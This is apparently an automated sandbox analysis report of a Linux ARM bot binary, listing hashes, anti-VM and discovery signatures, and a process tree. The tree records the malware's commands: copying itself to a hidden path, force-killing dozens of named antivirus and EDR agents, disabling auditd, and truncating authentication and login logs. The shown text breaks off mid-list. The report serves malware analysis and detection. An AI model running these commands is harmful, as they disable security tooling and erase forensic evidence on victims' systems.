d760ff60c5504cc12721c11756860301d43a14a34ab51dcda898e404aee4b187

Analysis

max time kernel
150s
max time network
154s
platform
debian-12_armhf
resource
debian12-armhf-20260513-en
resource tags

arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
29/09/2026, 23:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bot.armv7.elf
Size 990KB
Sample260929-3f4ejahe38
SHA256 d760ff60c5504cc12721c11756860301d43a14a34ab51dcda898e404aee4b187
MD5 7b652c9012d1755af219aebbddb4d3cd
SHA1 2ca49acbed12a07607f987eb600b7ef291a28ed2
SHA512 d41ab006a639a6191302844dd053f17cf334d9f024baf03a1692d6e13a1e2b9811590b5b0a243491dba66e1a6359fce1275aa9502fe4ed8252b3125567c5d0bc
SSDEEP 24576:+WmNVQHYP+SmAC+MqR9p4Wrii7j657yD/hGnmU:KdM4DmUj657yDAmU
TLSH
T13B254C55F890DF63C9C46B7AFA5E82A833234778C3D7720699148B343B97A1F0B3A645
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
828	sh
830	chmod

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/sys/class/dmi/id/bios_vendor	bot.armv7.elf
File opened for reading	/sys/class/dmi/id/board_vendor	bot.armv7.elf
File opened for reading	/sys/class/dmi/id/product_name	bot.armv7.elf
File opened for reading	/sys/class/dmi/id/sys_vendor	bot.armv7.elf

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 2 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/lo/address	bot.armv7.elf
File opened for reading	/sys/class/net/eth0/address	bot.armv7.elf

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	bot.armv7.elf

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	bot.armv7.elf

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/cgroup/memory.max	bot.armv7.elf
File opened for reading	/sys/fs/cgroup/memory/memory.limit_in_bytes	bot.armv7.elf
File opened for reading	/sys/class/net	bot.armv7.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/57/status	pkill
File opened for reading	/proc/21/ctty	pkill
File opened for reading	/proc/831/cgroup	pkill
File opened for reading	/proc/781/stat	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/374/cmdline	pkill
File opened for reading	/proc/357/cgroup	pkill
File opened for reading	/proc/374/ctty	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/676/ctty	pkill
File opened for reading	/proc/4/stat	pkill
File opened for reading	/proc/42/stat	pkill
File opened for reading	/proc/200/cgroup	pkill
File opened for reading	/proc/316/cgroup	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/768/stat	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/7/cgroup	pkill
File opened for reading	/proc/34/ctty	pkill
File opened for reading	/proc/143/cmdline	pkill
File opened for reading	/proc/5/cgroup	pkill
File opened for reading	/proc/200/stat	pkill
File opened for reading	/proc/200/ctty	pkill
File opened for reading	/proc/682/status	pkill
File opened for reading	/proc/682/ctty	pkill
File opened for reading	/proc/26/cgroup	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/36/ctty	pkill
File opened for reading	/proc/46/status	pkill
File opened for reading	/proc/193/status	pkill
File opened for reading	/proc/25/cgroup	pkill
File opened for reading	/proc/73/cgroup	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/27/ctty	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/315/ctty	pkill
File opened for reading	/proc/42/cgroup	pkill
File opened for reading	/proc/46/cgroup	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/31/stat	pkill
File opened for reading	/proc/51/ctty	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/26/stat	pkill
File opened for reading	/proc/32/stat	pkill
File opened for reading	/proc/32/cgroup	pkill
File opened for reading	/proc/867/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/768/stat	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/18/stat	pkill
File opened for reading	/proc/332/status	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/46/cgroup	pkill
File opened for reading	/proc/193/cgroup	pkill
File opened for reading	/proc/56/ctty	pkill
File opened for reading	/proc/14/ctty	pkill
File opened for reading	/proc/46/status	pkill
File opened for reading	/proc/32/status	pkill
File opened for reading	/proc/45/stat	pkill
File opened for reading	/proc/26/ctty	pkill
File opened for reading	/proc/784/status	pkill
File opened for reading	/proc/30/cmdline	pkill

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1034	pkill
1079	sh
1080	pkill
1095	sh
1096	pkill
1033	sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.zl	bot.armv7.elf

/tmp/bot.armv7.elf
/tmp/bot.armv7.elf
1⤵
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:784
- /bin/sh
  sh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:828
- - /usr/bin/cp
    cp /proc/self/exe /var/.z
    3⤵
    PID:829
- - /usr/bin/chmod
    chmod +x /var/.z
    3⤵
    - File and Directory Permissions Modification
    PID:830
- /bin/sh
  sh -c -- "pkill -9 -x kavsvc 2>/dev/null &"
  2⤵
  PID:832
- /bin/sh
  sh -c -- "pkill -9 -x kavf4 2>/dev/null &"
  2⤵
  PID:834
- /bin/sh
  sh -c -- "pkill -9 -x kavguard 2>/dev/null &"
  2⤵
  PID:836
- /bin/sh
  sh -c -- "pkill -9 -x avp 2>/dev/null &"
  2⤵
  PID:838
- /bin/sh
  sh -c -- "pkill -9 -x avp5 2>/dev/null &"
  2⤵
  PID:840
- /bin/sh
  sh -c -- "pkill -9 -x avp6 2>/dev/null &"
  2⤵
  PID:842
- /bin/sh
  sh -c -- "pkill -9 -x msvsc 2>/dev/null &"
  2⤵
  PID:844
- /bin/sh
  sh -c -- "pkill -9 -x msasc 2>/dev/null &"
  2⤵
  PID:846
- /bin/sh
  sh -c -- "pkill -9 -x msmpeng 2>/dev/null &"
  2⤵
  PID:848
- /bin/sh
  sh -c -- "pkill -9 -x msseces 2>/dev/null &"
  2⤵
  PID:850
- /bin/sh
  sh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"
  2⤵
  PID:852
- /bin/sh
  sh -c -- "pkill -9 -x avast 2>/dev/null &"
  2⤵
  PID:854
- /bin/sh
  sh -c -- "pkill -9 -x avast5 2>/dev/null &"
  2⤵
  PID:856
- /bin/sh
  sh -c -- "pkill -9 -x avast6 2>/dev/null &"
  2⤵
  PID:858
- /bin/sh
  sh -c -- "pkill -9 -x avastsvc 2>/dev/null &"
  2⤵
  PID:860
- /bin/sh
  sh -c -- "pkill -9 -x ash 2>/dev/null &"
  2⤵
  PID:862
- /bin/sh
  sh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"
  2⤵
  PID:864
- /bin/sh
  sh -c -- "pkill -9 -x avgnt 2>/dev/null &"
  2⤵
  PID:866
- /bin/sh
  sh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"
  2⤵
  PID:868
- /bin/sh
  sh -c -- "pkill -9 -x avgnt2 2>/dev/null &"
  2⤵
  PID:870
- /bin/sh
  sh -c -- "pkill -9 -x avgnt3 2>/dev/null &"
  2⤵
  PID:872
- /bin/sh
  sh -c -- "pkill -9 -x clamd 2>/dev/null &"
  2⤵
  PID:874
- /bin/sh
  sh -c -- "pkill -9 -x clamdscan 2>/dev/null &"
  2⤵
  PID:876
- /bin/sh
  sh -c -- "pkill -9 -x clamonacc 2>/dev/null &"
  2⤵
  PID:878
- /bin/sh
  sh -c -- "pkill -9 -x f-prot 2>/dev/null &"
  2⤵
  PID:880
- /bin/sh
  sh -c -- "pkill -9 -x f-prot64 2>/dev/null &"
  2⤵
  PID:882
- /bin/sh
  sh -c -- "pkill -9 -x f-sport 2>/dev/null &"
  2⤵
  PID:884
- /bin/sh
  sh -c -- "pkill -9 -x f-sport64 2>/dev/null &"
  2⤵
  PID:886
- /bin/sh
  sh -c -- "pkill -9 -x smon 2>/dev/null &"
  2⤵
  PID:888
- /bin/sh
  sh -c -- "pkill -9 -x smon2 2>/dev/null &"
  2⤵
  PID:890
- /bin/sh
  sh -c -- "pkill -9 -x smon3 2>/dev/null &"
  2⤵
  PID:892
- /bin/sh
  sh -c -- "pkill -9 -x mcs 2>/dev/null &"
  2⤵
  PID:894
- /bin/sh
  sh -c -- "pkill -9 -x mcs2 2>/dev/null &"
  2⤵
  PID:896
- /bin/sh
  sh -c -- "pkill -9 -x mcs3 2>/dev/null &"
  2⤵
  PID:898
- /bin/sh
  sh -c -- "pkill -9 -x navpsv32 2>/dev/null &"
  2⤵
  PID:900
- /bin/sh
  sh -c -- "pkill -9 -x navpsv64 2>/dev/null &"
  2⤵
  PID:902
- /bin/sh
  sh -c -- "pkill -9 -x navw32 2>/dev/null &"
  2⤵
  PID:904
- /bin/sh
  sh -c -- "pkill -9 -x navw64 2>/dev/null &"
  2⤵
  PID:906
- /bin/sh
  sh -c -- "pkill -9 -x avp.exe 2>/dev/null &"
  2⤵
  PID:908
- /bin/sh
  sh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"
  2⤵
  PID:910
- /bin/sh
  sh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"
  2⤵
  PID:912
- /bin/sh
  sh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"
  2⤵
  PID:914
- /bin/sh
  sh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"
  2⤵
  PID:916
- /bin/sh
  sh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"
  2⤵
  PID:918
- /bin/sh
  sh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"
  2⤵
  PID:920
- /bin/sh
  sh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"
  2⤵
  PID:922
- /bin/sh
  sh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"
  2⤵
  PID:924
- /bin/sh
  sh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"
  2⤵
  PID:926
- /bin/sh
  sh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"
  2⤵
  PID:928
- /bin/sh
  sh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"
  2⤵
  PID:930
- /bin/sh
  sh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"
  2⤵
  PID:932
- /bin/sh
  sh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"
  2⤵
  PID:934
- /bin/sh
  sh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"
  2⤵
  PID:936
- /bin/sh
  sh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"
  2⤵
  PID:938
- /bin/sh
  sh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"
  2⤵
  PID:940
- /bin/sh
  sh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"
  2⤵
  PID:942
- /bin/sh
  sh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"
  2⤵
  PID:944
- /bin/sh
  sh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"
  2⤵
  PID:946
- /bin/sh
  sh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"
  2⤵
  PID:948
- /bin/sh
  sh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"
  2⤵
  PID:950
- /bin/sh
  sh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"
  2⤵
  PID:952
- /bin/sh
  sh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"
  2⤵
  PID:954
- /bin/sh
  sh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"
  2⤵
  PID:956
- /bin/sh
  sh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"
  2⤵
  PID:958
- /bin/sh
  sh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"
  2⤵
  PID:960
- /bin/sh
  sh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"
  2⤵
  PID:962
- /bin/sh
  sh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"
  2⤵
  PID:964
- /bin/sh
  sh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"
  2⤵
  PID:966
- /bin/sh
  sh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"
  2⤵
  PID:968
- /bin/sh
  sh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"
  2⤵
  PID:970
- /bin/sh
  sh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"
  2⤵
  PID:972
- /bin/sh
  sh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"
  2⤵
  PID:974
- /bin/sh
  sh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"
  2⤵
  PID:976
- /bin/sh
  sh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"
  2⤵
  PID:978
- /bin/sh
  sh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"
  2⤵
  PID:980
- /bin/sh
  sh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"
  2⤵
  PID:982
- /bin/sh
  sh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"
  2⤵
  PID:984
- /bin/sh
  sh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"
  2⤵
  PID:986
- /bin/sh
  sh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"
  2⤵
  PID:988
- /bin/sh
  sh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"
  2⤵
  PID:990
- /bin/sh
  sh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"
  2⤵
  PID:992
- /bin/sh
  sh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"
  2⤵
  PID:994
- /bin/sh
  sh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"
  2⤵
  PID:996
- /bin/sh
  sh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"
  2⤵
  PID:998
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"
  2⤵
  PID:1001
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"
  2⤵
  PID:1003
- /bin/sh
  sh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"
  2⤵
  PID:1005
- /bin/sh
  sh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"
  2⤵
  PID:1007
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"
  2⤵
  PID:1009
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"
  2⤵
  PID:1011
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"
  2⤵
  PID:1013
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"
  2⤵
  PID:1015
- /bin/sh
  sh -c -- "pkill -9 -f [x]agt 2>/dev/null &"
  2⤵
  PID:1017
- /bin/sh
  sh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"
  2⤵
  PID:1019
- /bin/sh
  sh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"
  2⤵
  PID:1021
- /bin/sh
  sh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"
  2⤵
  PID:1023
- /bin/sh
  sh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"
  2⤵
  PID:1025
- /bin/sh
  sh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"
  2⤵
  PID:1027
- /bin/sh
  sh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"
  2⤵
  PID:1029
- /bin/sh
  sh -c -- "pkill -9 -f [m]datp 2>/dev/null &"
  2⤵
  PID:1031
- /bin/sh
  sh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1033
- /bin/sh
  sh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"
  2⤵
  PID:1035
- /bin/sh
  sh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"
  2⤵
  PID:1037
- /bin/sh
  sh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"
  2⤵
  PID:1039
- /bin/sh
  sh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"
  2⤵
  PID:1041
- /bin/sh
  sh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"
  2⤵
  PID:1043
- /bin/sh
  sh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"
  2⤵
  PID:1045
- /bin/sh
  sh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"
  2⤵
  PID:1047
- /bin/sh
  sh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"
  2⤵
  PID:1049
- /bin/sh
  sh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"
  2⤵
  PID:1051
- /bin/sh
  sh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"
  2⤵
  PID:1053
- /bin/sh
  sh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"
  2⤵
  PID:1055
- /bin/sh
  sh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"
  2⤵
  PID:1057
- /bin/sh
  sh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"
  2⤵
  PID:1059
- /bin/sh
  sh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"
  2⤵
  PID:1061
- /bin/sh
  sh -c -- "pkill -9 -f [e]krn 2>/dev/null &"
  2⤵
  PID:1063
- /bin/sh
  sh -c -- "pkill -9 -f [e]sets 2>/dev/null &"
  2⤵
  PID:1065
- /bin/sh
  sh -c -- "pkill -9 -f [b]dagent 2>/dev/null &"
  2⤵
  PID:1067
- /bin/sh
  sh -c -- "pkill -9 -f [w]rsa 2>/dev/null &"
  2⤵
  PID:1069
- /bin/sh
  sh -c -- "pkill -9 -f [m]bam 2>/dev/null &"
  2⤵
  PID:1071
- /bin/sh
  sh -c -- "pkill -9 -f [m]alwarebytes 2>/dev/null &"
  2⤵
  PID:1073
- /bin/sh
  sh -c -- "pkill -9 -f [3]60tray 2>/dev/null &"
  2⤵
  PID:1075
- /bin/sh
  sh -c -- "pkill -9 -f [3]60safe 2>/dev/null &"
  2⤵
  PID:1077
- /bin/sh
  sh -c -- "pkill -9 -f [h]ipstray 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1079
- /bin/sh
  sh -c -- "pkill -9 -f [u]sysdiag 2>/dev/null &"
  2⤵
  PID:1081
- /bin/sh
  sh -c -- "pkill -9 -f [q]axengine 2>/dev/null &"
  2⤵
  PID:1083
- /bin/sh
  sh -c -- "pkill -9 -f [p]andad 2>/dev/null &"
  2⤵
  PID:1085
- /bin/sh
  sh -c -- "pkill -9 -f [p]sanhost 2>/dev/null &"
  2⤵
  PID:1087
- /bin/sh
  sh -c -- "pkill -9 -f [f]savgui 2>/dev/null &"
  2⤵
  PID:1089
- /bin/sh
  sh -c -- "pkill -9 -f [f]-secure 2>/dev/null &"
  2⤵
  PID:1091
- /bin/sh
  sh -c -- "pkill -9 -f [k]avtray 2>/dev/null &"
  2⤵
  PID:1093
- /bin/sh
  sh -c -- "pkill -9 -f [v]ipre 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1095
- /bin/sh
  sh -c -- "pkill -9 -f [s]bamsvc 2>/dev/null &"
  2⤵
  PID:1097
- /bin/sh
  sh -c -- "pkill -9 -f [g]data 2>/dev/null &"
  2⤵
  PID:1099
- /bin/sh
  sh -c -- "pkill -9 -f [i]karus 2>/dev/null &"
  2⤵
  PID:1101
- /bin/sh
  sh -c -- "pkill -9 -f [d]rweb 2>/dev/null &"
  2⤵
  PID:1103
- /bin/sh
  sh -c -- "pkill -9 -f [e]service 2>/dev/null &"
  2⤵
  PID:1105
- /bin/sh
  sh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"
  2⤵
  PID:1107
- - /usr/sbin/auditctl
    auditctl -e 0
    3⤵
    PID:1108
- - /usr/bin/pkill
    pkill -9 "[a]uditd"
    3⤵
    PID:1109
- /bin/sh
  sh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"
  2⤵
  PID:1112

/usr/bin/pkill
pkill -9 -x kavsvc
1⤵
- Reads runtime system information
PID:833

/usr/bin/pkill
pkill -9 -x kavf4
1⤵
- Reads runtime system information
PID:835

/usr/bin/pkill
pkill -9 -x kavguard
1⤵
- Reads runtime system information
PID:837

/usr/bin/pkill
pkill -9 -x avp
1⤵
- Reads runtime system information
PID:839

/usr/bin/pkill
pkill -9 -x avp5
1⤵
- Reads runtime system information
PID:841

/usr/bin/pkill
pkill -9 -x avp6
1⤵
- Reads runtime system information
PID:843

/usr/bin/pkill
pkill -9 -x msvsc
1⤵
- Reads runtime system information
PID:845

/usr/bin/pkill
pkill -9 -x msasc
1⤵
PID:847

/usr/bin/pkill
pkill -9 -x msmpeng
1⤵
- Reads runtime system information
PID:849

/usr/bin/pkill
pkill -9 -x msseces
1⤵
- Reads runtime system information
PID:851

/usr/bin/pkill
pkill -9 -x msseces.exe
1⤵
PID:853

/usr/bin/pkill
pkill -9 -x avast
1⤵
PID:855

/usr/bin/pkill
pkill -9 -x avast5
1⤵
PID:857

/usr/bin/pkill
pkill -9 -x avast6
1⤵
- Reads runtime system information
PID:859

/usr/bin/pkill
pkill -9 -x avastsvc
1⤵
- Reads runtime system information
PID:861

/usr/bin/pkill
pkill -9 -x ash
1⤵
PID:863

/usr/bin/pkill
pkill -9 -x ashmaisv
1⤵
PID:865

/usr/bin/pkill
pkill -9 -x avgnt
1⤵
PID:867

/usr/bin/pkill
pkill -9 -x avgnt.exe
1⤵
- Reads runtime system information
PID:869

/usr/bin/pkill
pkill -9 -x avgnt2
1⤵
- Reads runtime system information
PID:871

/usr/bin/pkill
pkill -9 -x avgnt3
1⤵
- Reads runtime system information
PID:873

/usr/bin/pkill
pkill -9 -x clamd
1⤵
PID:875

/usr/bin/pkill
pkill -9 -x clamdscan
1⤵
PID:877

/usr/bin/pkill
pkill -9 -x clamonacc
1⤵
- Reads runtime system information
PID:879

/usr/bin/pkill
pkill -9 -x f-prot
1⤵
PID:881

/usr/bin/pkill
pkill -9 -x f-prot64
1⤵
PID:883

/usr/bin/pkill
pkill -9 -x f-sport
1⤵
- Reads runtime system information
PID:885

/usr/bin/pkill
pkill -9 -x f-sport64
1⤵
PID:887

/usr/bin/pkill
pkill -9 -x smon
1⤵
PID:889

/usr/bin/pkill
pkill -9 -x smon2
1⤵
- Reads runtime system information
PID:891

/usr/bin/pkill
pkill -9 -x smon3
1⤵
PID:893

/usr/bin/pkill
pkill -9 -x mcs
1⤵
- Reads runtime system information
PID:895

/usr/bin/pkill
pkill -9 -x mcs2
1⤵
PID:897

/usr/bin/pkill
pkill -9 -x mcs3
1⤵
PID:899

/usr/bin/pkill
pkill -9 -x navpsv32
1⤵
PID:901

/usr/bin/pkill
pkill -9 -x navpsv64
1⤵
PID:903

/usr/bin/pkill
pkill -9 -x navw32
1⤵
- Reads runtime system information
PID:905

/usr/bin/pkill
pkill -9 -x navw64
1⤵
PID:907

/usr/bin/pkill
pkill -9 -x avp.exe
1⤵
- Reads runtime system information
PID:909

/usr/bin/pkill
pkill -9 -x avpsvc.exe
1⤵
PID:911

/usr/bin/pkill
pkill -9 -x avpcc.exe
1⤵
PID:913

/usr/bin/pkill
pkill -9 -x avpm.exe
1⤵
PID:915

/usr/bin/pkill
pkill -9 -x avp9.exe
1⤵
- Reads runtime system information
PID:917

/usr/bin/pkill
pkill -9 -x avp10.exe
1⤵
- Reads runtime system information
PID:919

/usr/bin/pkill
pkill -9 -x avp11.exe
1⤵
- Reads runtime system information
PID:921

/usr/bin/pkill
pkill -9 -x avp12.exe
1⤵
- Reads runtime system information
PID:923

/usr/bin/pkill
pkill -9 -x avp13.exe
1⤵
PID:925

/usr/bin/pkill
pkill -9 -x avp14.exe
1⤵
PID:927

/usr/bin/pkill
pkill -9 -x avp15.exe
1⤵
- Reads runtime system information
PID:929

/usr/bin/pkill
pkill -9 -x avp16.exe
1⤵
PID:931

/usr/bin/pkill
pkill -9 -x avp17.exe
1⤵
- Reads runtime system information
PID:933

/usr/bin/pkill
pkill -9 -x avp18.exe
1⤵
PID:935

/usr/bin/pkill
pkill -9 -x avp19.exe
1⤵
PID:937

/usr/bin/pkill
pkill -9 -x avp20.exe
1⤵
- Reads runtime system information
PID:939

/usr/bin/pkill
pkill -9 -x avp21.exe
1⤵
PID:941

/usr/bin/pkill
pkill -9 -x avp22.exe
1⤵
PID:943

/usr/bin/pkill
pkill -9 -x avp23.exe
1⤵
PID:945

/usr/bin/pkill
pkill -9 -x avp24.exe
1⤵
PID:947

/usr/bin/pkill
pkill -9 -x avp25.exe
1⤵
PID:949

/usr/bin/pkill
pkill -9 -x avp26.exe
1⤵
PID:951

/usr/bin/pkill
pkill -9 -x avp27.exe
1⤵
PID:953

/usr/bin/pkill
pkill -9 -x avp28.exe
1⤵
PID:955

/usr/bin/pkill
pkill -9 -x avp29.exe
1⤵
PID:957

/usr/bin/pkill
pkill -9 -x avp30.exe
1⤵
PID:959

/usr/bin/pkill
pkill -9 -x avp31.exe
1⤵
PID:961

/usr/bin/pkill
pkill -9 -x avp32.exe
1⤵
- Reads runtime system information
PID:963

/usr/bin/pkill
pkill -9 -x avp33.exe
1⤵
- Reads runtime system information
PID:965

/usr/bin/pkill
pkill -9 -x avp34.exe
1⤵
PID:967

/usr/bin/pkill
pkill -9 -x avp35.exe
1⤵
PID:969

/usr/bin/pkill
pkill -9 -x avp36.exe
1⤵
PID:971

/usr/bin/pkill
pkill -9 -x avp37.exe
1⤵
PID:973

/usr/bin/pkill
pkill -9 -x avp38.exe
1⤵
PID:975

/usr/bin/pkill
pkill -9 -x avp39.exe
1⤵
- Reads runtime system information
PID:977

/usr/bin/pkill
pkill -9 -x avp40.exe
1⤵
- Reads runtime system information
PID:979

/usr/bin/pkill
pkill -9 -x avp41.exe
1⤵
- Reads runtime system information
PID:981

/usr/bin/pkill
pkill -9 -x avp42.exe
1⤵
- Reads runtime system information
PID:983

/usr/bin/pkill
pkill -9 -x avp43.exe
1⤵
PID:985

/usr/bin/pkill
pkill -9 -x avp44.exe
1⤵
PID:987

/usr/bin/pkill
pkill -9 -x avp45.exe
1⤵
- Reads runtime system information
PID:989

/usr/bin/pkill
pkill -9 -x avp46.exe
1⤵
PID:991

/usr/bin/pkill
pkill -9 -x avp47.exe
1⤵
PID:993

/usr/bin/pkill
pkill -9 -x avp48.exe
1⤵
PID:995

/usr/bin/pkill
pkill -9 -x avp49.exe
1⤵
- Reads runtime system information
PID:997

/usr/bin/pkill
pkill -9 -x avp50.exe
1⤵
PID:999

/usr/bin/pkill
pkill -9 -f "[f]alcond"
1⤵
- Reads runtime system information
PID:1002

/usr/bin/pkill
pkill -9 -f "[f]alcon"
1⤵
PID:1004

/usr/bin/pkill
pkill -9 -f "[c]sagent"
1⤵
PID:1006

/usr/bin/pkill
pkill -9 -f "[c]rowdstrike"
1⤵
PID:1008

/usr/bin/pkill
pkill -9 -f "[s]entinelagent"
1⤵
PID:1010

/usr/bin/pkill
pkill -9 -f "[s]entinelhelper"
1⤵
PID:1012

/usr/bin/pkill
pkill -9 -f "[s]1-agent"
1⤵
PID:1014

/usr/bin/pkill
pkill -9 -f "[s]1-service"
1⤵
PID:1016

/usr/bin/pkill
pkill -9 -f "[x]agt"
1⤵
PID:1018

/usr/bin/pkill
pkill -9 -f "[c]bdefense"
1⤵
PID:1020

/usr/bin/pkill
pkill -9 -f "[c]bagent"
1⤵
- Reads runtime system information
PID:1022

/usr/bin/pkill
pkill -9 -f "[c]arbonblack"
1⤵
- Reads runtime system information
PID:1024

/usr/bin/pkill
pkill -9 -f "[r]epwel"
1⤵
PID:1026

/usr/bin/pkill
pkill -9 -f "[c]ylance"
1⤵
PID:1028

/usr/bin/pkill
pkill -9 -f "[s]vcdiva"
1⤵
- Reads runtime system information
PID:1030

/usr/bin/pkill
pkill -9 -f "[m]datp"
1⤵
PID:1032

/usr/bin/pkill
pkill -9 -f "[m]dallaips"
1⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:1034

/usr/bin/pkill
pkill -9 -f "[s]ensedata"
1⤵
PID:1036

/usr/bin/pkill
